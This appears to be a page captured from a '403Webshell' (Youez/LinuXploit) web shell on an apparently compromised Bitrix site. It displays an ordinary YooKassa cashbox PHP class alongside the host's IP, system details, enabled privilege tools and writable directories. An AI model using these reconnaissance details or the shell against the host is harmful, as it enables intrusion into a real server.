403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/cashbox/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/cashbox/cashboxyookassa.php
<?php
namespace Bitrix\Sale\Cashbox;

use Bitrix\Main;
use Bitrix\Main\Error;
use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\PhoneNumber;
use Bitrix\Main\Web\Uri;
use Bitrix\Sale;
use Bitrix\Seo;

Loc::loadMessages(__FILE__);

/**
 * Class CashboxYooKassa
 * @package Bitrix\Sale\Cashbox
 */
class CashboxYooKassa extends CashboxPaySystem
{
	private const MAX_NAME_LENGTH = 128;

	private const URL = 'https://api.yookassa.ru/v3/receipts/';

	private const CODE_NO_VAT = 1;
	private const CODE_VAT_0 = 2;
	private const CODE_VAT_10 = 3;
	private const CODE_VAT_20 = 4;
	private const CODE_VAT_5 = 7;
	private const CODE_VAT_7 = 8;

	private const MARK_CODE_BASE64 = 1;
	private const MARK_CODE_NOT_ENCODING = 2;

	private const SETTLEMENT_TYPE_PREPAYMENT = 'prepayment';
	private const CHECK_TYPE_PAYMENT = 'payment';

	private const MARK_CODE_TYPE_GS1M = 'gs_1m';

	// https://yookassa.ru/developers/api mark_mode is needed for product marking. It should take the value equal to 0
	private const MARK_MODE = '0';

	public static function getName(): string
	{
		return Loc::getMessage('SALE_CASHBOX_YOOKASSA_TITLE');
	}

	public function buildCheckQuery(Check $check): array
	{
		$checkParamsResult = $this->checkParams($check);
		if (!$checkParamsResult->isSuccess())
		{
			return [];
		}

		$payment = CheckManager::getPaymentByCheck($check);
		if (!$payment)
		{
			return [];
		}

		$checkData = $check->getDataForCheck();
		$fields = [
			'customer' => [],
			'items' => [],
			'tax_system_code' => $this->getValueFromSettings('TAX', 'SNO'),
		];

		if (isset($checkData['client_email']))
		{
			$fields['customer']['email'] = $checkData['client_email'];
		}

		if (isset($checkData['client_phone']))
		{
			$phoneParser = PhoneNumber\Parser::getInstance();
			if ($phoneParser)
			{
				$phoneNumber = $phoneParser->parse($checkData['client_phone']);
				if ($phoneNumber->isValid())
				{
					$fields['customer']['phone'] = $phoneNumber->format(PhoneNumber\Format::E164);
				}
			}
		}

		$paymentModeMap = $this->getCheckTypeMap();
		$paymentMode = $paymentModeMap[$check::getType()];
		$paymentObjectMap = $this->getPaymentObjectMap();

		foreach ($checkData['items'] as $item)
		{
			$vat = $this->getValueFromSettings('VAT', $item['vat']);
			$vat = $vat ?? $this->getValueFromSettings('VAT', 'NOT_VAT');

			$measure = $this->getValueFromSettings('MEASURE', $item['measure_code']);
			$measure = $measure ?? $this->getValueFromSettings('MEASURE', 'DEFAULT');

			$receiptItem = [
				'description' => mb_substr($item['name'], 0, self::MAX_NAME_LENGTH),
				'amount' => [
					'value' => (string)Sale\PriceMaths::roundPrecision($item['price']),
					'currency' => (string)$item['currency'],
				],
				'vat_code' => (int)$vat,
				'quantity' => (string)$item['quantity'],
				'measure' => (string)$measure,
				'payment_subject' => $paymentObjectMap[$item['payment_object']],
				'payment_mode' => $paymentMode,
			];

			$markCodeEncoding = $this->getValueFromSettings('MARK', 'CODE') ?? self::MARK_CODE_BASE64;

			if (!empty($item['marking_code']))
			{
				$receiptItem['mark_mode'] = self::MARK_MODE;

				if ((int)$markCodeEncoding === self::MARK_CODE_BASE64)
				{
					$receiptItem['mark_code_info'] = $this->buildPositionMarkCodeInBase64($item);
				}
				else
				{
					$receiptItem['mark_code_info'] = $this->buildPositionMarkCode($item);
				}
			}

			$fields['items'][] = $receiptItem;
		}

		if ($this->needDataForSecondCheck($payment))
		{
			$fields['send'] = true;
			$fields['type'] = self::CHECK_TYPE_PAYMENT;
			$fields['payment_id'] = $payment->getField('PS_INVOICE_ID');
			$fields['settlements'] = [];

			foreach ($checkData['payments'] as $paymentItem)
			{
				$fields['settlements'][] = [
					'type' => self::SETTLEMENT_TYPE_PREPAYMENT,
					'amount' => [
						'value' => (string)Sale\PriceMaths::roundPrecision($paymentItem['sum']),
						'currency' => (string)$paymentItem['currency'],
					],
				];
			}
		}

		return $fields;
	}

	private function buildPositionMarkCode(array $item): array
	{
		return [
			self::MARK_CODE_TYPE_GS1M => $item['marking_code'],
		];
	}

	private function buildPositionMarkCodeInBase64(array $item): array
	{
		return [
			self::MARK_CODE_TYPE_GS1M => base64_encode($item['marking_code']),
		];
	}

	protected function getPrintUrl(): string
	{
		return self::URL;
	}

	protected function getCheckUrl(): string
	{
		return self::URL;
	}

	protected function getDataForCheck(Sale\Payment $payment): array
	{
		return [
			'payment_id' => $payment->getField('PS_INVOICE_ID'),
		];
	}

	protected function send(string $url, Sale\Payment $payment, array $fields, string $method = self::SEND_METHOD_HTTP_POST): Sale\Result
	{
		$result = new Sale\Result();

		$httpClient = new Main\Web\HttpClient();
		$headers = $this->getHeaders($payment);
		foreach ($headers as $name => $value)
		{
			$httpClient->setHeader($name, $value);
		}

		if ($method === self::SEND_METHOD_HTTP_POST)
		{
			$data = self::encode($fields);
			Logger::addDebugInfo(__CLASS__ . ': request data: ' . $data);
			$response = $httpClient->post($url, $data);
		}
		else
		{
			$uri = new Uri($url);
			$uri->addParams($fields);
			$response = $httpClient->get($uri->getUri());
		}

		if ($response === false || $response === '')
		{
			$result->addError(new Error(Loc::getMessage('SALE_CASHBOX_YOOKASSA_ERROR_EMPTY_RESPONSE')));

			$errors = $httpClient->getError();
			foreach ($errors as $code => $message)
			{
				$result->addError(new Error($message, $code));
			}

			return $result;
		}

		Logger::addDebugInfo(__CLASS__ . ': response data: ' . $response);

		$response = static::decode($response);
		if (!$response)
		{
			$result->addError(new Error(Loc::getMessage('SALE_CASHBOX_YOOKASSA_ERROR_DECODE_RESPONSE')));
			return $result;
		}

		$result->setData($response);

		return $result;
	}

	protected function processPrintResult(Sale\Result $result): Sale\Result
	{
		return new Sale\Result();
	}

	protected function processCheckResult(Sale\Result $result): Sale\Result
	{
		$processCheckResult = new Sale\Result();
		$data = $result->getData();

		/**
		 * @see https://yookassa.ru/developers/using-api/response-handling/response-format
		 */
		if (isset($data['type']) && $data['type'] === 'error')
		{
			$errorCode = $data['code'] ?? '';
			switch ($errorCode)
			{
				case 'internal_server_error':
				case 'too_many_requests':
					$processCheckResult->addError(new Error(Loc::getMessage('SALE_CASHBOX_YOOKASSA_ERROR_CHECK_WAIT')));
					break;

				default:
					$processCheckResult->addError(new Error(Loc::getMessage('SALE_CASHBOX_YOOKASSA_ERROR_CHECK_PROCESSING')));
					break;
			}

			return $processCheckResult;
		}

		$processCheckResult->setData($data);

		return $processCheckResult;
	}

	protected function onAfterProcessCheck(Sale\Result $result, Sale\Payment $payment): Sale\Result
	{
		$onAfterProcessCheckResult = new Sale\Result();
		$checkList = CheckManager::getList([
			'select' => ['ID'],
			'filter' => [
				'ORDER_ID' => $payment->getOrderId(),
			],
			'order' => ['ID' => 'DESC'],
		])->fetchAll();

		$data = $result->getData();
		$checkData = [];
		if (isset($data['type']) && $data['type'] === 'list')
		{
			$checkData = $data['items'] ?? [];
		}

		if ($checkList)
		{
			if (!$checkData)
			{
				$externalCheck = [
					'checkId' => $checkList[0]['ID'],
					'error' => [
						'MESSAGE' => Loc::getMessage('SALE_CASHBOX_YOOKASSA_ERROR_CHECK_NOT_FOUND'),
						'TYPE' => Errors\Error::TYPE,
					],
				];
				$applyCheckResult = static::applyCheckResult($externalCheck);
				$onAfterProcessCheckResult->addErrors($applyCheckResult->getErrors());
			}

			foreach ($checkData as $key => $externalCheck)
			{
				$checkStatus = $externalCheck['status'] ?? '';
				switch ($checkStatus)
				{
					case 'pending':
						$externalCheck['error'] = [
							'MESSAGE' => Loc::getMessage('SALE_CASHBOX_YOOKASSA_STATUS_CHECK_PENDING'),
							'TYPE' => Errors\Warning::TYPE,
						];
						break;

					case 'canceled':
						$externalCheck['error'] = [
							'MESSAGE' => Loc::getMessage('SALE_CASHBOX_YOOKASSA_STATUS_CHECK_CANCELLED'),
							'TYPE' => Errors\Error::TYPE,
						];
						break;
				}

				$externalCheck['checkId'] = $checkList[$key]['ID'];
				$applyCheckResult = static::applyCheckResult($externalCheck);
				if (!$applyCheckResult->isSuccess())
				{
					$onAfterProcessCheckResult->addErrors($applyCheckResult->getErrors());
				}
			}
		}
		else
		{
			$onAfterProcessCheckResult->addError(new Error(Loc::getMessage('SALE_CASHBOX_YOOKASSA_ERROR_CHECK_NOT_FOUND')));
		}

		return $onAfterProcessCheckResult;
	}

	protected static function extractCheckData(array $data): array
	{
		$result = [];

		$id = $data['checkId'] ?? null;
		if (!$id)
		{
			return $result;
		}
		$result['ID'] = $id;

		if ($data['error'])
		{
			$result['ERROR'] = $data['error'];
		}

		if ($data['id'])
		{
			$result['EXTERNAL_UUID'] = $data['id'];
		}

		$check = CheckManager::getObjectById($id);
		if ($check)
		{
			$result['LINK_PARAMS'] = [
				AbstractCheck::PARAM_FISCAL_DOC_ATTR => $data['fiscal_attribute'],
				AbstractCheck::PARAM_FISCAL_DOC_NUMBER => $data['fiscal_document_number'],
				AbstractCheck::PARAM_FN_NUMBER => $data['fiscal_storage_number'],
				AbstractCheck::PARAM_FISCAL_RECEIPT_NUMBER => $data['fiscal_provider_id'],
				AbstractCheck::PARAM_DOC_SUM => (float)$check->getField('SUM'),
				AbstractCheck::PARAM_CALCULATION_ATTR => $check::getCalculatedSign()
			];

			if (!empty($data['registered_at']))
			{
				try
				{
					// ISO 8601 datetime
					$dateTime = new Main\Type\DateTime($data['registered_at'], 'Y-m-d\TH:i:s.v\Z');
					$result['LINK_PARAMS'][AbstractCheck::PARAM_DOC_TIME] = $dateTime->getTimestamp();
				}
				catch (Main\ObjectException $ex)
				{}
			}
		}

		return $result;
	}

	public static function getPaySystemCodeForKkm(): string
	{
		return 'YANDEX_CHECKOUT_SHOP_ID';
	}

	public static function getKkmValue(Sale\PaySystem\Service $service): array
	{
		if (self::isOAuth())
		{
			return [md5(static::getYandexToken())];
		}

		return parent::getKkmValue($service);
	}

	public static function getSettings($modelId = 0): array
	{
		$settings = [];

		$settings['TAX'] = [
			'LABEL' => Loc::getMessage('SALE_CASHBOX_YOOKASSA_SETTINGS_SNO'),
			'REQUIRED' => 'Y',
			'ITEMS' => [
				'SNO' => [
					'TYPE' => 'ENUM',
					'LABEL' => Loc::getMessage('SALE_CASHBOX_YOOKASSA_SETTINGS_SNO_LABEL'),
					'VALUE' => 1,
					'OPTIONS' => [
						1 => Loc::getMessage('SALE_CASHBOX_YOOKASSA_SNO_OSN'),
						2 => Loc::getMessage('SALE_CASHBOX_YOOKASSA_SNO_UI'),
						3 => Loc::getMessage('SALE_CASHBOX_YOOKASSA_SNO_UIO'),
						4 => Loc::getMessage('SALE_CASHBOX_YOOKASSA_SNO_ENVD'),
						5 => Loc::getMessage('SALE_CASHBOX_YOOKASSA_SNO_ESN'),
						6 => Loc::getMessage('SALE_CASHBOX_YOOKASSA_SNO_PATENT'),
					],
				],
			],
		];

		$settings['MARK'] = [
			'LABEL' => Loc::getMessage('SALE_CASHBOX_YOOKASSA_SETTINGS_MARKING'),
			'REQUIRED' => 'Y',
			'ITEMS' => [
				'CODE' => [
					'TYPE' => 'ENUM',
					'LABEL' => Loc::getMessage('SALE_CASHBOX_YOOKASSA_SETTINGS_MARKING_LABEL'),
					'VALUE' => self::MARK_CODE_BASE64,
					'OPTIONS' => [
						self::MARK_CODE_BASE64 => 'base64',
						self::MARK_CODE_NOT_ENCODING => Loc::getMessage('SALE_CASHBOX_YOOKASSA_SETTINGS_MARKING_NOT_ENCODE'),
					],
				],
			],
		];

		$settings['VAT'] = [
			'LABEL' => Loc::getMessage('SALE_CASHBOX_YOOKASSA_SETTINGS_VAT'),
			'REQUIRED' => 'Y',
			'COLLAPSED' => 'Y',
			'ITEMS' => [
				'NOT_VAT' => [
					'TYPE' => 'STRING',
					'LABEL' => Loc::getMessage('SALE_CASHBOX_YOOKASSA_SETTINGS_VAT_LABEL_NOT_VAT'),
					'VALUE' => self::CODE_NO_VAT,
				],
			],
		];

		if (Loader::includeModule('catalog'))
		{
			$dbRes = \Bitrix\Catalog\VatTable::getList(['filter' => [
				'ACTIVE' => 'Y',
				'EXCLUDE_VAT' => 'N',
			]]);
			$vatList = $dbRes->fetchAll();
			if ($vatList)
			{
				$defaultVatList = [
					0 => self::CODE_VAT_0,
					5 => self::CODE_VAT_5,
					7 => self::CODE_VAT_7,
					10 => self::CODE_VAT_10,
					20 => self::CODE_VAT_20,
				];

				foreach ($vatList as $vat)
				{
					$value = $defaultVatList[(int)$vat['RATE']] ?? '';

					$settings['VAT']['ITEMS'][(int)$vat['ID']] = [
						'TYPE' => 'STRING',
						'LABEL' => $vat['NAME'] . ' (' . (int)$vat['RATE'] . '%)',
						'VALUE' => $value,
					];
				}
			}
		}

		$measureItems = [
			'DEFAULT' => [
				'TYPE' => 'STRING',
				'LABEL' => Loc::getMessage('SALE_CASHBOX_MEASURE_SUPPORT_SETTINGS_DEFAULT_VALUE'),
				'VALUE' => 'piece',
			],
		];
		if (Loader::includeModule('catalog'))
		{
			$measuresList = \CCatalogMeasure::getList();
			while ($measure = $measuresList->fetch())
			{
				$measureItems[$measure['CODE']] = [
					'TYPE' => 'STRING',
					'LABEL' => $measure['MEASURE_TITLE'],
					'VALUE' => MeasureCodeToTag2108MapperYooKassa::getTag2108Value($measure['CODE']),
				];
			}
		}

		$settings['MEASURE'] = [
			'LABEL' => Loc::getMessage('SALE_CASHBOX_MEASURE_SUPPORT_SETTINGS'),
			'REQUIRED' => 'Y',
			'COLLAPSED' => 'Y',
			'ITEMS' => $measureItems,
		];

		return $settings;
	}

	/**
	 * @return float|null
	 */
	public static function getFfdVersion(): ?float
	{
		return 1.2;
	}

	/**
	 * @return array
	 */
	protected function getCheckTypeMap(): array
	{
		return [
			FullPrepaymentCheck::getType() => 'full_prepayment',
			PrepaymentCheck::getType() => 'partial_prepayment',
			AdvancePaymentCheck::getType() => 'advance',
			SellCheck::getType() => 'full_payment',
			CreditCheck::getType() => 'credit',
			CreditPaymentCheck::getType() => 'credit_payment',
		];
	}

	/**
	 * @return array
	 */
	private function getPaymentObjectMap(): array
	{
		return [
			// FFD 1.05
			Check::PAYMENT_OBJECT_COMMODITY => 'commodity',
			Check::PAYMENT_OBJECT_EXCISE => 'excise',
			Check::PAYMENT_OBJECT_JOB => 'job',
			Check::PAYMENT_OBJECT_SERVICE => 'service',
			Check::PAYMENT_OBJECT_PAYMENT => 'payment',
			Check::PAYMENT_OBJECT_CASINO_PAYMENT => 'casino',
			Check::PAYMENT_OBJECT_GAMBLING_BET => 'gambling_bet',
			Check::PAYMENT_OBJECT_GAMBLING_PRIZE => 'gambling_prize',
			Check::PAYMENT_OBJECT_LOTTERY => 'lottery',
			Check::PAYMENT_OBJECT_LOTTERY_PRIZE => 'lottery_prize',
			Check::PAYMENT_OBJECT_INTELLECTUAL_ACTIVITY => 'intellectual_activity',
			Check::PAYMENT_OBJECT_AGENT_COMMISSION => 'agent_commission',
			Check::PAYMENT_OBJECT_PROPERTY_RIGHT => 'property_right',
			Check::PAYMENT_OBJECT_NON_OPERATING_GAIN => 'non_operating_gain',
			Check::PAYMENT_OBJECT_INSURANCE_PREMIUM => 'insurance_premium',
			Check::PAYMENT_OBJECT_SALES_TAX => 'sales_tax',
			Check::PAYMENT_OBJECT_RESORT_FEE => 'resort_fee',
			Check::PAYMENT_OBJECT_COMPOSITE => 'composite',
			Check::PAYMENT_OBJECT_ANOTHER => 'another',

			// FFD 1.2
			Check::PAYMENT_OBJECT_COMMODITY_MARKING => 'marked',
			Check::PAYMENT_OBJECT_COMMODITY_MARKING_NO_MARKING => 'non_marked',
			Check::PAYMENT_OBJECT_COMMODITY_MARKING_EXCISE => 'marked_excise',
			Check::PAYMENT_OBJECT_COMMODITY_MARKING_NO_MARKING_EXCISE => 'non_marked_excise',
			Check::PAYMENT_OBJECT_FINE => 'fine',
			Check::PAYMENT_OBJECT_TAX => 'tax',
			Check::PAYMENT_OBJECT_DEPOSIT => 'lien',
			Check::PAYMENT_OBJECT_EXPENSE => 'cost',
			Check::PAYMENT_OBJECT_AGENT_WITHDRAWALS => 'agent_withdrawals',
			Check::PAYMENT_OBJECT_PENSION_INSURANCE_IP => 'pension_insurance_without_payouts',
			Check::PAYMENT_OBJECT_PENSION_INSURANCE => 'pension_insurance_with_payouts',
			Check::PAYMENT_OBJECT_MEDICAL_INSURANCE_IP => 'health_insurance_without_payouts',
			Check::PAYMENT_OBJECT_MEDICAL_INSURANCE => 'health_insurance_with_payouts',
			Check::PAYMENT_OBJECT_SOCIAL_INSURANCE => 'health_insurance',
		];
	}

	protected function getCheckHttpMethod(): string
	{
		return self::SEND_METHOD_HTTP_GET;
	}

	private function needDataForSecondCheck(Sale\Payment $payment): bool
	{
		return (bool)$payment->getField('PS_INVOICE_ID');
	}

	private function getHeaders(Sale\Payment $payment): array
	{
		$headers = [
			'Content-Type' => 'application/json',
			'Idempotence-Key' => $this->getIdempotenceKey(),
		];

		try
		{
			$headers['Authorization'] = $this->getAuthorizationHeader($payment);
		}
		catch (\Exception $ex)
		{
			$headers['Authorization'] = 'Basic '.$this->getBasicAuthString($payment);
		}

		return $headers;
	}

	private function getIdempotenceKey(): string
	{
		return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
			mt_rand(0, 0xffff), mt_rand(0, 0xffff),
			mt_rand(0, 0xffff),
			mt_rand(0, 0x0fff) | 0x4000,
			mt_rand(0, 0x3fff) | 0x8000,
			mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
		);
	}

	private function getAuthorizationHeader(Sale\Payment $payment)
	{
		if (self::isOAuth())
		{
			$token = static::getYandexToken();
			return 'Bearer '.$token;
		}

		return 'Basic '.$this->getBasicAuthString($payment);
	}

	private static function isOAuth(): bool
	{
		return Main\Config\Option::get('sale', 'YANDEX_CHECKOUT_OAUTH', false) == true;
	}

	private static function getYandexToken()
	{
		if (!Main\Loader::includeModule('seo'))
		{
			return null;
		}

		$authAdapter = Seo\Checkout\Service::getAuthAdapter(Seo\Checkout\Service::TYPE_YOOKASSA);
		$token = $authAdapter->getToken();
		if (!$token)
		{
			$authAdapter = Seo\Checkout\Service::getAuthAdapter(Seo\Checkout\Service::TYPE_YANDEX);
			$token = $authAdapter->getToken();
		}

		return $token;
	}

	private function getBasicAuthString(Sale\Payment $payment)
	{
		return base64_encode(
			trim((string)$this->getPaySystemSetting($payment, 'YANDEX_CHECKOUT_SHOP_ID'))
			. ':'
			. trim((string)$this->getPaySystemSetting($payment, 'YANDEX_CHECKOUT_SECRET_KEY'))
		);
	}

	/**
	 * @param string $data
	 * @return mixed
	 */
	private static function decode(string $data)
	{
		try
		{
			return Main\Web\Json::decode($data);
		}
		catch (Main\ArgumentException $exception)
		{
			return false;
		}
	}

	private static function encode(array $data)
	{
		return Main\Web\Json::encode($data, JSON_UNESCAPED_UNICODE);
	}

	public static function isOfdSettingsNeeded(): bool
	{
		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit